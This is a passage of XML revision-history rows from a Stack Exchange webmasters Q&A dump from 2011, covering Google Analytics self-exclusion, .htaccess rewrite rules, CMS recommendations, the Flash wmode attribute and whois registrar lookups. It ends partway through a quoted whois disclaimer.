  <row Id="36799" PostHistoryTypeId="1" PostId="15552" RevisionGUID="e08ff3e7-9de7-4cf1-b007-3bfdc0a0bef9" CreationDate="2011-06-18T23:58:11.353" UserId="8070" Text="How do you exclude yourself from Google Analytics on your website using cookies?" />
  <row Id="36800" PostHistoryTypeId="3" PostId="15552" RevisionGUID="e08ff3e7-9de7-4cf1-b007-3bfdc0a0bef9" CreationDate="2011-06-18T23:58:11.353" UserId="8070" Text="&lt;google&gt;&lt;google-analytics&gt;&lt;javascript&gt;" />
  <row Id="36801" PostHistoryTypeId="25" PostId="15550" RevisionGUID="7b0a1041-07b8-4398-9018-3b56e2c9bb42" CreationDate="2011-06-19T00:24:33.350" Comment="http://twitter.com/#!/StackWebmasters/status/82242325371293696" />
  <row Id="36802" PostHistoryTypeId="17" PostId="15553" RevisionGUID="399af429-6481-4166-b870-0dac0c2a7699" CreationDate="2011-06-19T01:47:38.723" UserId="-1" Comment="from http://stackoverflow.com/questions/5840900/do-you-know-a-good-web-cms-to-manage-a-team" Text="" />
  <row Id="36803" PostHistoryTypeId="2" PostId="15553" RevisionGUID="d8400188-87a6-4853-8186-dfcc9ecaedec" CreationDate="2011-04-30T09:44:28.627" UserDisplayName="benjamin'''''42" Text="I'm looking for a web based CMS that enables me to manage a sport team, I need the following features:&#xD;&#xA;&#xD;&#xA;+ Calendar (+)&#xD;&#xA;+ Schedule events (sync with the calendar, RSS feed), it would be great if I could schedule a weekly event too, so that I don't have to schedule it by hand each week (+)&#xD;&#xA;+ Announcements (same RSS feed as events) (+)&#xD;&#xA;+ A place where I can put some documentation, rules (+)&#xD;&#xA;- Keep track of the matches and scores&#xD;&#xA;- Photo and video gallery&#xD;&#xA;&#xD;&#xA;---------------------&#xD;&#xA;+: required&#xD;&#xA;---------------------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I don't have the time to code it myself so I won't complain about the technologies involved in any CMS you would propose me. However, I'd prefer a sqlite based CMS.&#xD;&#xA;&#xD;&#xA;Thank you !!&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;&#xD;&#xA;Benjamin" />
  <row Id="36804" PostHistoryTypeId="1" PostId="15553" RevisionGUID="d8400188-87a6-4853-8186-dfcc9ecaedec" CreationDate="2011-04-30T09:44:28.627" UserDisplayName="benjamin'''''42" Text="Do you know a good web CMS to manage a team ?" />
  <row Id="36805" PostHistoryTypeId="3" PostId="15553" RevisionGUID="d8400188-87a6-4853-8186-dfcc9ecaedec" CreationDate="2011-04-30T09:44:28.627" UserDisplayName="benjamin'''''42" Text="&lt;web&gt;&lt;cms&gt;" />
  <row Id="36806" PostHistoryTypeId="2" PostId="15554" RevisionGUID="bb21fd40-37ea-48dd-a2c7-7c818b4dddb3" CreationDate="2011-06-19T01:50:51.843" UserId="4502" Text="&lt;a href=&quot;http://spriteme.org/&quot;&gt;SpriteMe&lt;/a&gt; is probably closest to what you're describing.&#xD;&#xA;&#xD;&#xA;You might also want to look at &lt;a href=&quot;http://csssprites.org/&quot;&gt;SmartSprites&lt;/a&gt;, which takes a different approach, more along the lines of CSS preprocessors like Sass, so it's actually integrated into your development rather than being done after the fact." />
  <row Id="36807" PostHistoryTypeId="5" PostId="15553" RevisionGUID="34378047-7048-41fc-b7cf-7d5bc161b2d8" CreationDate="2011-06-19T02:01:40.113" UserId="1253" Comment="modified tags, minor text edits; edited tags" Text="I'm looking for a web based CMS that enables me to manage a sport team, I need the following features:&#xD;&#xA;&#xD;&#xA;+ Calendar (+)&#xD;&#xA;+ Schedule events (sync with the calendar, RSS feed), it would be great if I could schedule a weekly event too, so that I don't have to schedule it by hand each week (+)&#xD;&#xA;+ Announcements (same RSS feed as events) (+)&#xD;&#xA;+ A place where I can put some documentation, rules (+)&#xD;&#xA;- Keep track of the matches and scores&#xD;&#xA;- Photo and video gallery&#xD;&#xA;&#xD;&#xA;---------------------&#xD;&#xA;+: required&#xD;&#xA;---------------------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I don't have the time to code it myself so I won't complain about the technologies involved in any CMS you would propose me. However, I'd prefer a sqlite based CMS.&#xD;&#xA;" />
  <row Id="36808" PostHistoryTypeId="6" PostId="15553" RevisionGUID="34378047-7048-41fc-b7cf-7d5bc161b2d8" CreationDate="2011-06-19T02:01:40.113" UserId="1253" Comment="modified tags, minor text edits; edited tags" Text="&lt;cms&gt;&lt;looking-for-a-script&gt;" />
  <row Id="36809" PostHistoryTypeId="2" PostId="15555" RevisionGUID="9ff2496f-e9b1-453e-a753-e1677dc7297a" CreationDate="2011-06-19T03:19:47.030" UserId="5718" Text="There's nothing in your question about the second step of the process. The code you're using should just set a custom variable that will be sent to GA with the rest of the tracking data. You need to then set up a filter to exclude data where the variable is set to &quot;test_value&quot;.&#xD;&#xA;&#xD;&#xA;To create the filter , go to the &quot;Analytics Settings &gt; Profile Settings&quot; screen and click on &quot;Add Filter&quot;. In the screen that comes up use the following settings:&#xD;&#xA;&#xD;&#xA;- Add new Filter for Profile&#xD;&#xA;- Filter Name: Exclude own Traffic&#xD;&#xA;- Filter Type: Custom filter&#xD;&#xA;- Click the &quot;exclude&quot; radio button&#xD;&#xA;- Filter Field: User Defines&#xD;&#xA;- Filter Pattern: test_value&#xD;&#xA;- Case Sensitive: No&#xD;&#xA;&#xD;&#xA;On a side note, remember that to set the custom variable you need to add the code to your page, run it then remove it. If you don't remove it then a cookie will be set for all visitors and they will all be excluded. It's best to set up an additional profile to test that the filter is working properly before applying it to your main profile as historical data can't be retrieved if you set it up wrong." />
  <row Id="36810" PostHistoryTypeId="25" PostId="15552" RevisionGUID="338814a7-a139-48ae-a3f1-1a9c3c5662b2" CreationDate="2011-06-19T03:24:33.023" Comment="http://twitter.com/#!/StackWebmasters/status/82287621962866688" />
  <row Id="36811" PostHistoryTypeId="2" PostId="15556" RevisionGUID="4dd6fe9e-a65b-4315-8527-9d1bf61e3df2" CreationDate="2011-06-19T04:09:38.880" UserDisplayName="Ashwin" Text="I am wondering if it is possible to add a blogger widget (say recent posts widget) within a blog post in blogger. &#xD;&#xA;&#xD;&#xA;Any pointers on doing this?" />
  <row Id="36812" PostHistoryTypeId="1" PostId="15556" RevisionGUID="4dd6fe9e-a65b-4315-8527-9d1bf61e3df2" CreationDate="2011-06-19T04:09:38.880" UserDisplayName="Ashwin" Text="Add a content widget inside a blogger post!" />
  <row Id="36813" PostHistoryTypeId="3" PostId="15556" RevisionGUID="4dd6fe9e-a65b-4315-8527-9d1bf61e3df2" CreationDate="2011-06-19T04:09:38.880" UserDisplayName="Ashwin" Text="&lt;google&gt;&lt;blogger&gt;&lt;widgets&gt;" />
  <row Id="36814" PostHistoryTypeId="25" PostId="15548" RevisionGUID="e4e509f1-f602-4148-bcd3-f7b569a953bb" CreationDate="2011-06-19T06:24:33.980" Comment="http://twitter.com/#!/StackWebmasters/status/82332923411447808" />
  <row Id="36815" PostHistoryTypeId="5" PostId="15530" RevisionGUID="2f7549ad-c2aa-4431-9402-e8783d63bf69" CreationDate="2011-06-19T08:40:28.423" UserId="8390" Comment="added 12 characters in body" Text="I have recently made a simple (pure HTML) website. The most important key phrase that I want to capture is &quot;full reserve banking&quot;. Currently, if I type &quot;full reserve banking&quot; (without quotes) into google, then my site appears as the 7th item on the first page. I am reasonably happy with this as the site is so new. But one frustration is that the text that google displays in relation to my site is rather misleading. The main message I would like to get across is that my site is &quot;A collection of resources for anyone interested in this alternative monetary system.&quot; and I have this as the first line of text on the page. Unfortunately, this important sentence is nowhere to be seen in the google search result. So my question is - is there anything I can do to fix this error?&#xD;&#xA;&#xD;&#xA;**Edit:** I noticed that someone edited this question to remove the name of the website. I was very keen to leave it in because being able to look at it makes it far easier to diagnose what I did wrong. Indeed the answer suggested by &quot;Su&quot; clearly shows that they looked at my website and analyzed what it was doing which helped them give a clearer answer. If I am breaking some policy by including the name then please explain what this policy is in a comment." />
  <row Id="36819" PostHistoryTypeId="25" PostId="15519" RevisionGUID="44f77383-e827-47bd-8431-b34be0f49b09" CreationDate="2011-06-19T09:24:34.807" Comment="http://twitter.com/#!/StackWebmasters/status/82378226797785088" />
  <row Id="36820" PostHistoryTypeId="2" PostId="15558" RevisionGUID="cb61c3ad-f791-407d-9e5d-c58fb9a0aafd" CreationDate="2011-06-19T09:32:26.263" UserId="4033" Text="If possible best way to do that is to put your uploaded files outside of your webroot. That way the files won't be accessible by url but your scripts can still access them." />
  <row Id="36821" PostHistoryTypeId="2" PostId="15559" RevisionGUID="ba3bc77d-b398-444a-8543-6859e329d5b8" CreationDate="2011-06-19T09:49:15.603" UserId="4033" Text="As far as I know Google lets advertisers to place ads on a specific web site rather than the whole network. If that's the case it is possible to adjust bid for that specific site.&#xD;&#xA;&#xD;&#xA;However it is also possible that your declining cpc could be caused by declining pageviews. It could even be possible that advertiser discovered a low competition for keywords and adjusted his bids accordingly." />
  <row Id="36822" PostHistoryTypeId="2" PostId="15560" RevisionGUID="99e775bb-dfe2-4858-95c1-42e2420acb77" CreationDate="2011-06-19T10:24:12.260" UserId="8404" Text="hello i need a little help with `.htaccess` file i have songs, singers and albums links i want to rewrite.&#xD;&#xA;&#xD;&#xA;i all ready rewrote the links and they are like this:&#xD;&#xA;the links for the songs is like this:&#xD;&#xA;&#xD;&#xA;`/song/song_name`&#xD;&#xA;&#xD;&#xA;for singers:&#xD;&#xA;&#xD;&#xA;`/singer_name`&#xD;&#xA;&#xD;&#xA;for albums:&#xD;&#xA;&#xD;&#xA;`/album_name`&#xD;&#xA;&#xD;&#xA;this is the code in my `.htaccess` file&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;`RewriteEngine on`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`RewriteRule ^singer/([^/\.]+)/?$ /core/controller.php?singer=$1 [L]`&#xD;&#xA;&#xD;&#xA;`RewriteRule ^song/([^/\.]+)/?$ /core/controller.php?song=$1 [L]`&#xD;&#xA;&#xD;&#xA;`RewriteRule ^album/([^/\.]+)/?$ /core/controller.php?album=$1 [L]`&#xD;&#xA;&#xD;&#xA;i need the links for the songs, singers and albums to be like this:&#xD;&#xA;&#xD;&#xA;for songs `/singer_name/song_name`&#xD;&#xA;&#xD;&#xA;for singers `/singer_name`&#xD;&#xA;&#xD;&#xA;for albums `/singer_name/album_name`&#xD;&#xA;&#xD;&#xA;can anyone help me with this please." />
  <row Id="36823" PostHistoryTypeId="1" PostId="15560" RevisionGUID="99e775bb-dfe2-4858-95c1-42e2420acb77" CreationDate="2011-06-19T10:24:12.260" UserId="8404" Text="hello i need a little help wth .htaccess rewrite" />
  <row Id="36824" PostHistoryTypeId="3" PostId="15560" RevisionGUID="99e775bb-dfe2-4858-95c1-42e2420acb77" CreationDate="2011-06-19T10:24:12.260" UserId="8404" Text="&lt;htaccess&gt;&lt;rewrite&gt;" />
  <row Id="36825" PostHistoryTypeId="2" PostId="15561" RevisionGUID="86ecbe82-afea-4de6-b8d8-41f612d60cd7" CreationDate="2011-06-19T11:42:11.393" UserId="8354" Text="You cannot do this in .htaccess unless you pre-define (hard code) all names in advance (well, you can use RewruteMap but that is close to hard-coding). The reason is -- how can you identify what is song_name and what is album_name if they both have the same syntax? Also .. sometimes you have situations when album name is a song name at the same time (album named after the song) -- how can you identify which one is which?&#xD;&#xA;&#xD;&#xA;**You have few options here:**&#xD;&#xA;&#xD;&#xA;1) **Redirect everything to your `controller.php`** and implement routing logic inside (using PHP only). There you can query database and see what the actual parameter is -- album or song.&#xD;&#xA;&#xD;&#xA;2) **Implement 3-tier URL structure** (this will allow RewriteRules to properly identify what is what):&#xD;&#xA;&#xD;&#xA;`/singer-name` for singers&#xD;&#xA;&#xD;&#xA;`/singer-name/album-name` for albums&#xD;&#xA;&#xD;&#xA;`/singer-name/album-name/song-name` for songs&#xD;&#xA;&#xD;&#xA;3) **Add some additional info/code into URL** so mod_rewrite can see the difference between album-name &amp; song_name. For example:&#xD;&#xA;&#xD;&#xA;`/singer-name` for singers&#xD;&#xA;&#xD;&#xA;`/singer-name/album-name_a` for albums (`_a` will tell that this is the album)&#xD;&#xA;&#xD;&#xA;`/singer-name/song-name_s` for songs (`_s` will tell that this is the song)&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;`/singer-name/s_song-name` for songs&#xD;&#xA;&#xD;&#xA;or add no such code for songs, as albums URLs will have such code already.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;I personally prefer #2 -- it has more logical hierarchy." />
  <row Id="36826" PostHistoryTypeId="5" PostId="15530" RevisionGUID="3ec840d4-e303-4e13-997f-4a5a98733c1b" CreationDate="2011-06-19T12:13:49.150" UserId="8390" Comment="added 262 characters in body" Text="I have recently made a simple (pure HTML) website. The most important key phrase that I want to capture is &quot;full reserve banking&quot;. Currently, if I type &quot;full reserve banking&quot; (without quotes) into google, then my site appears as the 7th item on the first page. I am reasonably happy with this as the site is so new. But one frustration is that the text that google displays in relation to my site is rather misleading. The main message I would like to get across is that my site is &quot;A collection of resources for anyone interested in this alternative monetary system.&quot; and I have this as the first line of text on the page. Unfortunately, this important sentence is nowhere to be seen in the google search result. So my question is - is there anything I can do to fix this error?&#xD;&#xA;&#xD;&#xA;**Edit:** I noticed that someone edited this question to remove the name of the website. I was very keen to leave it in because being able to look at it makes it far easier to diagnose what I did wrong. Indeed the answer suggested by &quot;Su&quot; clearly shows that they looked at my website and analyzed what it was doing which helped them give a clearer answer. If I am breaking some policy by including the name then please explain what this policy is in a comment.&#xD;&#xA;&#xD;&#xA;**Edit:** I have now made a series of changes to my meta descriptions as inspired by the answers given here. I am now very excited to see what will happen after the next visit by the google robots. I will to report back with the results (memory permitting!)." />
  <row Id="36827" PostHistoryTypeId="5" PostId="15530" RevisionGUID="a622dbf2-64e0-4e77-8200-e1071158b163" CreationDate="2011-06-19T12:21:05.370" UserId="8390" Comment="added 184 characters in body" Text="I have recently made a simple (pure HTML) website. The most important key phrase that I want to capture is &quot;full reserve banking&quot;. Currently, if I type &quot;full reserve banking&quot; (without quotes) into google, then my site appears as the 7th item on the first page. I am reasonably happy with this as the site is so new. But one frustration is that the text that google displays in relation to my site is rather misleading. The main message I would like to get across is that my site is &quot;A collection of resources for anyone interested in this alternative monetary system.&quot; and I have this as the first line of text on the page. Unfortunately, this important sentence is nowhere to be seen in the google search result. So my question is - is there anything I can do to fix this error?&#xD;&#xA;&#xD;&#xA;**Edit:** I noticed that someone edited this question to remove the name of the website. I was very keen to leave it in because being able to look at it makes it far easier to diagnose what I did wrong. Indeed the answer suggested by &quot;Su&quot; clearly shows that they looked at my website and analyzed what it was doing which helped them give a clearer answer. If I am breaking some policy by including the name then please explain what this policy is in a comment.&#xD;&#xA;&#xD;&#xA;**Edit:** I have now made a series of changes to my meta descriptions as inspired by the answers given here. On the homepage I now have the text:&#xD;&#xA;&#xD;&#xA;    &lt;META NAME=&quot;description&quot; CONTENT=&quot;A collection of resources for anyone &#xD;&#xA;    interested in Full Reserve Banking. What it is, how it works, &#xD;&#xA;    web resources, organisations, research papers etc.&quot;&gt;&#xD;&#xA;&#xD;&#xA;I am now very excited to see what will happen after the next visit by the google robots." />
  <row Id="36828" PostHistoryTypeId="25" PostId="15489" RevisionGUID="28a2d4f6-ca53-4c8f-86ce-4a230f84bb81" CreationDate="2011-06-19T12:24:35.177" Comment="http://twitter.com/#!/StackWebmasters/status/82423527797563393" />
  <row Id="36829" PostHistoryTypeId="5" PostId="15561" RevisionGUID="973a78e6-a93f-491f-ad60-021913b29623" CreationDate="2011-06-19T12:31:26.770" UserId="8354" Comment="added 1054 characters in body" Text="You cannot do this in .htaccess unless you pre-define (hard code) all names in advance (well, you can use RewruteMap but that is close to hard-coding). The reason is -- how can you identify what is song_name and what is album_name if they both have the same syntax? Also .. sometimes you have situations when album name is a song name at the same time (album named after the song) -- how can you identify which one is which?&#xD;&#xA;&#xD;&#xA;**You have few options here:**&#xD;&#xA;&#xD;&#xA;1) **Redirect everything to your `controller.php`** and implement routing logic inside (using PHP only). There you can query database and see what the actual parameter is -- album or song.&#xD;&#xA;&#xD;&#xA;2) **Implement 3-tier URL structure** (this will allow RewriteRules to properly identify what is what):&#xD;&#xA;&#xD;&#xA;`/singer-name` for singers&#xD;&#xA;&#xD;&#xA;`/singer-name/album-name` for albums&#xD;&#xA;&#xD;&#xA;`/singer-name/album-name/song-name` for songs&#xD;&#xA;&#xD;&#xA;3) **Add some additional info/code into URL** so mod_rewrite can see the difference between album-name &amp; song_name. For example:&#xD;&#xA;&#xD;&#xA;`/singer-name` for singers&#xD;&#xA;&#xD;&#xA;`/singer-name/album-name_a` for albums (`_a` will tell that this is the album)&#xD;&#xA;&#xD;&#xA;`/singer-name/song-name_s` for songs (`_s` will tell that this is the song)&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;`/singer-name/s_song-name` for songs&#xD;&#xA;&#xD;&#xA;or add no such code for songs, as albums URLs will have such code already.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;I personally prefer #2 -- it has more logical hierarchy.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**UPDATE:** These are the rules for scenario #2. You can use these characters: any latin letter (upper and lower case), digits, underscore `_` and minus `-`. This will cover the following URLs:&#xD;&#xA;&#xD;&#xA;`/britney-spears` -- singer url&#xD;&#xA;&#xD;&#xA;`/britney-spears/Femme-Fatale` -- album url&#xD;&#xA;&#xD;&#xA;`/britney-spears/Femme-Fatale/Till-the-World-Ends` -- song url&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    # Do not do anything for already existing files&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule .* - [L]&#xD;&#xA;    # work with artist URLs&#xD;&#xA;    RewriteRule ^([a-z0-9\-_]+)$ /core/controller.php?singer=$1 [NS,QSA,L]&#xD;&#xA;    # work with album URLs&#xD;&#xA;    RewriteRule ^([a-z0-9\-_]+)/([a-z0-9\-_]+)$ /core/controller.php?singer=$1&amp;album=$2 [NS,QSA,L]&#xD;&#xA;    # work with songs URLs&#xD;&#xA;    RewriteRule ^([a-z0-9\-_]+)/([a-z0-9\-_]+)/([a-z0-9\-_]+)$ /core/controller.php?singer=$1&amp;album=$2&amp;song=$3 [NS,QSA,L]&#xD;&#xA;&#xD;&#xA;It's up to you if you going to use all lower case letters or mixed-case. I would recommend all lower case for consistency." />
  <row Id="36830" PostHistoryTypeId="2" PostId="15562" RevisionGUID="a749e443-5f4f-4624-b962-afe721f960cf" CreationDate="2011-06-19T12:54:29.337" UserId="7198" Text="Use widgets that provide HTML and JavaScript, then copy and paste that into your post. To display recent posts, for example, you could sign up for [FeedBurner,](http://feedburner.com) then use the HTML code generated by their [BuzzBoost](http://www.google.com/support/feedburner/bin/answer.py?hl=en&amp;answer=78976) widget (under Publicize&gt;BuzzBoost in the FeedBurner control panel) to display the latest posts from your RSS feed in the blog post itself." />
  <row Id="36831" PostHistoryTypeId="5" PostId="15560" RevisionGUID="cef3b86b-e433-420d-813e-21e7b10715ec" CreationDate="2011-06-19T13:38:21.053" UserId="8354" Comment="fixed some spelling mistakes, removed &quot;hello&quot; from title" Text="I need a little help with `.htaccess` file I have songs, singers and albums links I want to rewrite.&#xD;&#xA;&#xD;&#xA;I all ready rewrote the links and they are like this:&#xD;&#xA;the links for the songs is like this:&#xD;&#xA;&#xD;&#xA;`/song/song_name`&#xD;&#xA;&#xD;&#xA;for singers:&#xD;&#xA;&#xD;&#xA;`/singer_name`&#xD;&#xA;&#xD;&#xA;for albums:&#xD;&#xA;&#xD;&#xA;`/album_name`&#xD;&#xA;&#xD;&#xA;this is the code in my `.htaccess` file&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;`RewriteEngine on`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`RewriteRule ^singer/([^/\.]+)/?$ /core/controller.php?singer=$1 [L]`&#xD;&#xA;&#xD;&#xA;`RewriteRule ^song/([^/\.]+)/?$ /core/controller.php?song=$1 [L]`&#xD;&#xA;&#xD;&#xA;`RewriteRule ^album/([^/\.]+)/?$ /core/controller.php?album=$1 [L]`&#xD;&#xA;&#xD;&#xA;I need the links for the songs, singers and albums to be like this:&#xD;&#xA;&#xD;&#xA;for songs `/singer_name/song_name`&#xD;&#xA;&#xD;&#xA;for singers `/singer_name`&#xD;&#xA;&#xD;&#xA;for albums `/singer_name/album_name`&#xD;&#xA;&#xD;&#xA;can anyone help me with this please." />
  <row Id="36832" PostHistoryTypeId="4" PostId="15560" RevisionGUID="cef3b86b-e433-420d-813e-21e7b10715ec" CreationDate="2011-06-19T13:38:21.053" UserId="8354" Comment="fixed some spelling mistakes, removed &quot;hello&quot; from title" Text="I need a little help with .htaccess rewrite" />
  <row Id="36833" PostHistoryTypeId="24" PostId="15560" RevisionGUID="cef3b86b-e433-420d-813e-21e7b10715ec" CreationDate="2011-06-19T13:38:21.053" Comment="Proposed by 8354 approved by 1064 edit id of 403" />
  <row Id="36834" PostHistoryTypeId="5" PostId="15560" RevisionGUID="68ce7978-f59f-4cdc-83b0-08bb51518976" CreationDate="2011-06-19T13:40:45.433" UserId="1064" Comment="Converted code sample to block (accidentally clicked &quot;approve&quot; instead of &quot;improve&quot; on revision)" Text="I need a little help with `.htaccess` file I have songs, singers and albums links I want to rewrite.&#xD;&#xA;&#xD;&#xA;I all ready rewrote the links and they are like this:&#xD;&#xA;the links for the songs is like this:&#xD;&#xA;&#xD;&#xA;`/song/song_name`&#xD;&#xA;&#xD;&#xA;for singers:&#xD;&#xA;&#xD;&#xA;`/singer_name`&#xD;&#xA;&#xD;&#xA;for albums:&#xD;&#xA;&#xD;&#xA;`/album_name`&#xD;&#xA;&#xD;&#xA;From my `.htaccess` file:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule ^singer/([^/\.]+)/?$ /core/controller.php?singer=$1 [L]&#xD;&#xA;    RewriteRule ^song/([^/\.]+)/?$ /core/controller.php?song=$1 [L]&#xD;&#xA;    RewriteRule ^album/([^/\.]+)/?$ /core/controller.php?album=$1 [L]&#xD;&#xA;&#xD;&#xA;I need the links for the songs, singers and albums to be like this:&#xD;&#xA;&#xD;&#xA;for songs `/singer_name/song_name`&#xD;&#xA;&#xD;&#xA;for singers `/singer_name`&#xD;&#xA;&#xD;&#xA;for albums `/singer_name/album_name`&#xD;&#xA;&#xD;&#xA;can anyone help me with this please." />
  <row Id="36835" PostHistoryTypeId="2" PostId="15563" RevisionGUID="bbc91089-2828-48d6-9159-9d5d28b1c5ad" CreationDate="2011-06-19T13:47:47.983" UserId="7677" Text="Whats the actual behaviour of wmode attribute in HTML. &#xD;&#xA;&#xD;&#xA;Any kind of technical details is accepted. &#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="36836" PostHistoryTypeId="1" PostId="15563" RevisionGUID="bbc91089-2828-48d6-9159-9d5d28b1c5ad" CreationDate="2011-06-19T13:47:47.983" UserId="7677" Text="wmode - What does it mean in browser's rendering behavior ?" />
  <row Id="36837" PostHistoryTypeId="3" PostId="15563" RevisionGUID="bbc91089-2828-48d6-9159-9d5d28b1c5ad" CreationDate="2011-06-19T13:47:47.983" UserId="7677" Text="&lt;html&gt;" />
  <row Id="36838" PostHistoryTypeId="5" PostId="15109" RevisionGUID="b6a76cd4-5761-4514-93f3-1084027959db" CreationDate="2011-06-19T14:11:32.383" UserId="6901" Comment="added 129 characters in body" Text="I'm really impressed with Stack Exchange's concept of reputation (you gain reputation as you post, and the more you post, the more privileges you get), and I want to apply the concept to a wiki that I am building.&#xD;&#xA;&#xD;&#xA;Does anyone know of a php wiki that has a concept of privileges/reputation similar to Stack Exchange? I'm not necessarily looking for something *identical* to SE, I'm just looking for a wiki application that gives users more privileges the more they contribute *positively* to the wiki (SE has down votes, the wiki should have some way of identifying negative contributions too). The privileges should be category based, so the more active you are in a specific category or page, the more privileges you get for that category. There should also be site wide privileges as well, though those should be harder to access than the category privileges.&#xD;&#xA;&#xD;&#xA;*NOTE: If it is not possible to get category wide privileges and site wide privileges, I will be OK with just category wide privileges or just site wide privileges.*&#xD;&#xA;&#xD;&#xA;I should be able to change the requirements for each privilege, through a administration panel or through editing a file.&#xD;&#xA;&#xD;&#xA;Does anyone have a script or a solution that will do this? If the script uses something similar to reputation to determine how much a user has positively contributed to the site, then that is OK too.&#xD;&#xA;&#xD;&#xA;*Please Note: I am looking for a way to rate individual user contributions, not a way to rate the quality of an entire page.*" />
  <row Id="36842" PostHistoryTypeId="2" PostId="15565" RevisionGUID="d3cdf806-c803-4e6d-8cfe-97d45f50bdaa" CreationDate="2011-06-19T14:29:31.020" UserId="7031" Text="&#xD;&#xA;I'm hoping to backorder a domain that looks promissing. I've [read][1] that if it's through Network Solutions then you should use SnapNames b/c it automatically does the auctioning/rselling for NS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mikeindustries.com/blog/archive/2005/03/how-to-snatch-an-expiring-domain" />
  <row Id="36843" PostHistoryTypeId="1" PostId="15565" RevisionGUID="d3cdf806-c803-4e6d-8cfe-97d45f50bdaa" CreationDate="2011-06-19T14:29:31.020" UserId="7031" Text="How do I find out which Registrar a domain is registered through?" />
  <row Id="36844" PostHistoryTypeId="3" PostId="15565" RevisionGUID="d3cdf806-c803-4e6d-8cfe-97d45f50bdaa" CreationDate="2011-06-19T14:29:31.020" UserId="7031" Text="&lt;domain-registrar&gt;" />
  <row Id="36848" PostHistoryTypeId="25" PostId="15518" RevisionGUID="bc39d6ca-8827-44a1-b5c1-716548142a78" CreationDate="2011-06-19T15:24:36.853" Comment="http://twitter.com/#!/StackWebmasters/status/82468831787884544" />
  <row Id="36852" PostHistoryTypeId="2" PostId="15566" RevisionGUID="3b80d2dd-0869-4887-9fc1-bc72d7fcb84b" CreationDate="2011-06-19T15:33:00.647" UserId="1253" Text="Quick Google search turns up [Adobe's docs #1][1] which explains it quite well:&#xD;&#xA;&#xD;&#xA;&gt; wmode attribute or parameter Value&#xD;&#xA;&gt; &#xD;&#xA;&gt; Window | Opaque | Transparent Template&#xD;&#xA;&gt; variable: $WM&#xD;&#xA;&gt; &#xD;&#xA;&gt; Description&#xD;&#xA;&gt; &#xD;&#xA;&gt; (Optional) Lets you use the&#xD;&#xA;&gt; transparent Flash content, absolute&#xD;&#xA;&gt; positioning,  and layering&#xD;&#xA;&gt; capabilities available in Internet&#xD;&#xA;&gt; Explorer 4.0. For a list of  browsers&#xD;&#xA;&gt; this attribute/parameter supports, see&#xD;&#xA;&gt; Publishing Flash documents.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Window** Plays the application in its&#xD;&#xA;&gt; own rectangular window on a web page. &#xD;&#xA;&gt; Window indicates that the Flash&#xD;&#xA;&gt; application has no interaction with&#xD;&#xA;&gt; HTML  layers and is always the topmost&#xD;&#xA;&gt; item.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Opaque** Makes the application hide&#xD;&#xA;&gt; everything behind it on the page.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Transparent** Makes the background of&#xD;&#xA;&gt; the HTML page show through all the &#xD;&#xA;&gt; transparent portions of the&#xD;&#xA;&gt; application and can slow animation&#xD;&#xA;&gt; performance.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Opaque windowless and Transparent&#xD;&#xA;&gt; windowless** Both interact with HTML &#xD;&#xA;&gt; layers, letting layers above the SWF&#xD;&#xA;&gt; file block out the application. &#xD;&#xA;&gt; Transparent allows transparency so&#xD;&#xA;&gt; that HTML layers below the SWF file &#xD;&#xA;&gt; might show through if a section of the&#xD;&#xA;&gt; SWF file has transparency;  opaque&#xD;&#xA;&gt; does not.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The default value is Window if this&#xD;&#xA;&gt; attribute is omitted. Applies to &#xD;&#xA;&gt; object only.&#xD;&#xA;&#xD;&#xA;[1]: http://livedocs.adobe.com/flash/9.0/UsingFlash/help.html?content=WSd60f23110762d6b883b18f10cb1fe1af6-7ba7.html" />
  <row Id="36853" PostHistoryTypeId="2" PostId="15567" RevisionGUID="5b3ab88d-a34f-4a0a-9bb5-3291d6255e3c" CreationDate="2011-06-19T15:38:41.677" UserId="1253" Text="Doing a whois shows which regsitrar I have (GoDaddy.com):&#xD;&#xA;&#xD;&#xA;&gt; [Querying whois.verisign-grs.com]  &#xD;&#xA;&gt; [Redirected to whois.godaddy.com]  &#xD;&#xA;&gt;  Querying whois.godaddy.com]  &#xD;&#xA;&gt; [whois.godaddy.com]   &#xD;&#xA;&gt; The data contained&#xD;&#xA;&gt; in GoDaddy.com, Inc.'s WhoIs database,&#xD;&#xA;&gt; while believed by the company to be&#xD;&#xA;&gt; reliable, is provided &quot;as is&quot; with no&#xD;&#xA;&gt; guarantee or warranties regarding its&#xD;&#xA;&gt; accuracy.  This information is&#xD;&#xA;&gt; provided for the sole purpose of&#xD;&#xA;&gt; assisting you in obtaining information&#xD;&#xA;&gt; about domain name registration&#xD;&#xA;&gt; records. Any use of this data for any&#xD;&#xA;&gt; other purpose is expressly forbidden&#xD;&#xA;&gt; without the prior written permission&#xD;&#xA;&gt; of GoDaddy.com, Inc.  By submitting an&#xD;&#xA;&gt; inquiry, you agree to these terms of&#xD;&#xA;&gt; usage and limitations of warranty.  In&#xD;&#xA;&gt; particular, you agree not to use this&#xD;&#xA;&gt; data to allow, enable, or otherwise&#xD;&#xA;&gt; make possible, dissemination or&#xD;&#xA;&gt; collection of this data, in part or in&#xD;&#xA;&gt; its entirety, for any purpose, such as&#xD;&#xA;&gt; the transmission of 